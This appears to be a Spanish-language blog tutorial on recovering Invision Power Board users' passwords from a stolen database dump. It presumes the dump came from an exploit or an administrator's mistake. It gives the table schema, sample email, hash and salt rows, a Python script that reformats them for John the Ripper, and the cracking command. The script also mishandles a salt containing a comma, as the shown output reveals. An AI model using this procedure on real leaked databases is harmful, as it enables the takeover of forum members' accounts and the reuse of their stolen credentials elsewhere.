En este artículo se explica cómo romper las contraseñas almacenadas en la base de datos del software Invision Power Board (IPB) a partir de un volcado de la base de datos. Vamos a suponer que ya se ha tenido acceso a la base de datos de usuarios ya sea por haber utilizado algún exploit para la versión correspondiente, por un descuido del administrador del foro o por una extraña combinación de casualidades metafísicas.
Invision Powerboard es un software GNU para crear foros bastante extendido. Se pueden consultar sus principales características en la página:
http://www.invisionpower.com/products/board/
La tabla donde se almacenan los datos que se necesitarán para obtener los hashes de las contraseñas es "ibf_members_converge".
Esta tabla tiene la siguiente estructura:
-- Table structure for table `ibf_members_converge`
--
CREATE TABLE ibf_members_converge (
converge_id int(10) NOT NULL auto_increment,
converge_email varchar(250) NOT NULL default '',
converge_joined int(10) NOT NULL default '0',
converge_pass_hash varchar(32) NOT NULL default '',
converge_pass_salt varchar(5) NOT NULL default '',
PRIMARY KEY (converge_id),
KEY converge_email (converge_email)
) TYPE=MyISAM;
En dicha tabla existen entradas como la siguiente:INSERT INTO `ibf_members_converge` VALUES(1, 'hacktimesrox@hacktimes.com', 1189360973, '215b9a28aa8c3b090a5da6fcac4fc43c', 'Xz9fn');
El formato de las contraseñas almacenadas en Invision Powerboard según los foros de Invision es:
http://community.invisionpower.com/topic/282468-database-encryption/page__hl__salt__fromsearch__1md5 (md5(salt) + md5(password))
El Salt está compuesto por una cadena de 5 caracteres.
Lo más habitual es usar el conocido programa para crackear contraseñas John the Ripper. El formato que utiliza John the Ripper para romper estas contraseñas es:
/*
* IPB2_fmt.c (version 4)
*
* Invision Power Board 2.x salted MD5 module for Solar Designer's JtR
* Uses Solar Designer's MD5 implementation.
* regenrecht at o2.pl, Jan 2006
*
* Hashes list should have form of username:$IPB2$salt$hash
* Values to be taken from IPB database, where:
* salt = bin2hex(ibf_members_converge.converge_pass_salt)
* hash = ibf_members_converge.converge_pass_hash
*/
(Extraido del fichero john-1.7.3.4/src/IPB2_fmt.c)
Supongamos que tenemos un fichero con el contenido de la tabla ibf_members_converge como el siguiente:
(1,'hacktimes@hacktimes.com',1189360973,'215b9a28aa8c3b090a5da6fcac4fc43c','Xz9fn');
(2,'user2@hacktimes.com',1139220558,'7a4998d114b71f08d61348e6ffc4ec7b','4G1;+');
(3,'user3@hacktimes.com',1139222200,'27407d767c00249ff45043560b8eed5d','unTFF');
(4,'user4@hacktimes.com',1139246973,'f605f8036667a7e87a76173987efd32f','Y(R,(');
(6,'user5@hacktimes.com',1139252059,'15dcf0ea301591f2b12c5037142ac4e9','~q#14');
Se podría utilizar el siguiente script para formatear el anterior fichero para que se pueda utilizar como entrada
para john the ripper con el Jumbo Patch.
#!/usr/bin/env python
#-*- coding: utf-8 -*-
## leeched from ilo--
## El Salt irá encodeado en hexadecimal.
## Ruta al fichero
fichero = open ('/home/test/pruebas.txt')
def toHex(s):
lst = [ ]
for ch in s:
hv = hex(ord(ch)).replace('0x', '')
if len(hv) == 1:
hv = '0'+hv
lst.append(hv)
return reduce(lambda x,y:x+y, lst)
for linea in fichero.readlines():
try:
cad = linea.split(",")
user = cad[1].replace("'","")
hash = cad[3].replace("'","")
salt = cad[4].replace("'","").split(");")[0]
salt_encoded = toHex(salt)
entrada = user + ":$IPB2$" + salt_encoded +"$" + hash
print entrada
except:
print "Se produjo un error o fin de fichero"
Redirigimos la salida a un fichero de texto con:
./ipb2converter.py > salida.txt
El contenido de salida.txt sería algo como lo siguiente:hacktimes@hacktimes.com:$IPB2$587a39666e$215b9a28aa8c3b090a5da6fcac4fc43c
user2@hacktimes.com:$IPB2$3447313b2b$7a4998d114b71f08d61348e6ffc4ec7b
user3@hacktimes.com:$IPB2$756e544646$27407d767c00249ff45043560b8eed5d
user4@hacktimes.com:$IPB2$592852$f605f8036667a7e87a76173987efd32f
user5@hacktimes.com:$IPB2$7e71233134$15dcf0ea301591f2b12c5037142ac4e9
Descargamos el software John The Ripper y aplicamos el Jumbo Patch:
http://www.openwall.com/john/
http://www.openwall.com/john/contrib/john-1.7.3.4-jumbo-1.diff.gz
http://openwall.info/wiki/john/how-to-extract-tarballs-and-apply-patches
Por último, comenzamos a crackear las contraseñas como sigue:./john salida.txt
... y a esperar los resultados...
La salida sería algo similar a... (cualquier parecido con la realidad es pura coincidencia)



Comentarios
Añadir comentario